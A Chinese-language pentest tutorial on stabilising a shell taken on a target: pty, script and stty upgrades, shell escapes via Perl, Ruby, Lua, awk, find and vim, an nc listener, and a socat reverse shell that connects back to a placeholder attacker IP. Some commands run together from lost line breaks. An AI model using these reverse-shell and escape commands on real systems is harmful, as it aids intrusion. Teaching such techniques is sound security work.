交互式shell

概念

在上一节中，我们已经与目标建立了一个 shell 会话。

但是，通过 nc、webshell、命令执行漏洞拿到的 shell，通常只是一个基础 shell，可能存在以下问题：

• 没有完整 TTY
• 没有命令提示符
• 无法正常使用 sudo / su
• vim、less、top 等交互式程序异常
• Ctrl+C、Tab 补全、方向键、清屏异常
• 没有 job control

因此，拿到 shell 后通常需要做两件事：

1. 生成交互式 shell
2. 升级 TTY / 稳定 shell

判断是否存在tty

使用下面的命令判断当前 shell 是否拥有完整终端：

tty

如果显示not a tty，则说明无完整tty
如果显示类似：/dev/pts/0，说明存在tty

升级 TTY / 稳定 Shell

这类方法的作用是：
给当前 shell 补一个伪终端，使其更接近正常 SSH 登录后的终端。

适用于：

tty

显示：

not a tty

或者出现以下情况：

• sudo / su 无法正常交互
• 密码输入异常
• vim / less / top 无法正常使用
• Ctrl+C 会断开 shell
• 方向键、Tab 补全、清屏异常

---

使用 Python pty 升级 TTY

如果目标机存在 Python，可以使用：

python3 -c 'import pty; pty.spawn("/bin/bash")'

如果没有 bash：

python3 -c 'import pty; pty.spawn("/bin/sh")'

如果系统只有 Python2：

python -c 'import pty; pty.spawn("/bin/bash")'

或者：

python -c 'import pty; pty.spawn("/bin/sh")'

说明：pty.spawn() 可以创建一个伪终端，并在伪终端中启动指定 shell。

---

使用 script 升级 TTY

如果目标机没有 Python，但存在 script 命令，可以使用：

script -qc /bin/bash /dev/null

如果没有 bash：

script -qc /bin/sh /dev/null

有些系统需要写完整路径：

/usr/bin/script -qc /bin/bash /dev/null

参数说明：

• -q 静默模式
• -c /bin/bash 执行 /bin/bash
• /dev/null 不保存终端记录

作用：通过 script 创建伪终端，并在其中启动 bash。

完整稳定化流程

只执行 python pty 或 script 后，shell 可能仍然不够稳定。
通常还需要配合攻击机本地的 stty。

拿到 shell 后，先在目标 shell 中执行：

python3 -c 'import pty; pty.spawn("/bin/bash")'

或者：

script -qc /bin/bash /dev/null

然后按：

Ctrl + Z

回到攻击机终端后执行：

stty raw -echo; fg

回到目标 shell 后输入：

reset

然后设置终端环境：

export TERM=xtermstty rows 40 columns 120

最终效果会更接近正常 SSH 终端。

生成交互式 Shell

这类方法的作用是：
从当前命令执行环境中启动一个 shell。

常见于：

• 反弹 shell 后没有提示符
• webshell 中想调用系统 shell
• 某些程序支持执行系统命令
• 受限环境中需要逃逸到 /bin/sh

注意：
这些方法通常只能生成交互式 shell，不一定能补全 TTY。

/bin/sh -i

/bin/sh -i

常见回显：

sh: no job control in this shell

说明当前 shell 虽然可以交互，但没有完整 job control。

---

/bin/bash -i

/bin/bash -i

如果目标系统存在 bash，优先使用 bash：

/bin/bash -i

如果没有 bash，再使用 sh：

/bin/sh -i

Perl 生成 Shell

如果目标系统存在 Perl，可以使用 Perl 执行 shell：

perl -e 'exec "/bin/sh";'

或者：

perl -e 'exec "/bin/bash";'

---

Ruby 生成 Shell

如果目标系统存在 Ruby，可以使用：

ruby -e 'exec "/bin/sh"'

或者：

ruby -e 'exec "/bin/bash"'

---

Lua 生成 Shell

如果目标系统存在 Lua，可以使用 os.execute 执行 shell：

lua -e 'os.execute("/bin/sh")'

或者：

lua -e 'os.execute("/bin/bash")'

---

awk 生成 Shell

awk 也可以调用系统命令启动 shell：

awk 'BEGIN {system("/bin/sh")}'

或者：

awk 'BEGIN {system("/bin/bash")}'

---

find 生成 Shell

find 可以通过 -exec 参数执行 shell：

find . -exec /bin/sh \; -quit

或者：

find . -exec /bin/bash \; -quit

如果目标环境中某些命令可以通过 find 调用，也可以配合 awk：

find . -name nameoffile -exec awk 'BEGIN {system("/bin/sh")}' \;

---

Vim 逃逸到 Shell

如果当前环境可以运行 vim，可以使用：

vim -c ':!/bin/sh'

或者进入 vim 后执行：

:set shell=/bin/sh:shell

如果目标系统有 bash，也可以改成：

:set shell=/bin/bash:shell

辅助改善交互体验

rlwrap

rlwrap 是在攻击机上使用的，不是在目标机上使用。

普通监听：

nc -lvnp 1234

可以改成：

rlwrap -cAr nc -lvnp 1234

作用：

改善方向键、历史命令、退格等输入体验。

注意：

rlwrap 不能真正给目标 shell 创建 TTY，只是改善攻击机本地输入体验。

---

2socat 获取更完整 TTY

如果目标机和攻击机都有 socat，可以使用 socat 建立更稳定的 TTY shell。

攻击机监听：

socat file:`tty`,raw,echo=0 tcp-listen:4444

目标机反连：

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444

socat 效果通常比普通 nc 更好，但目标机不一定安装。

检查目标机是否存在 socat：

which socat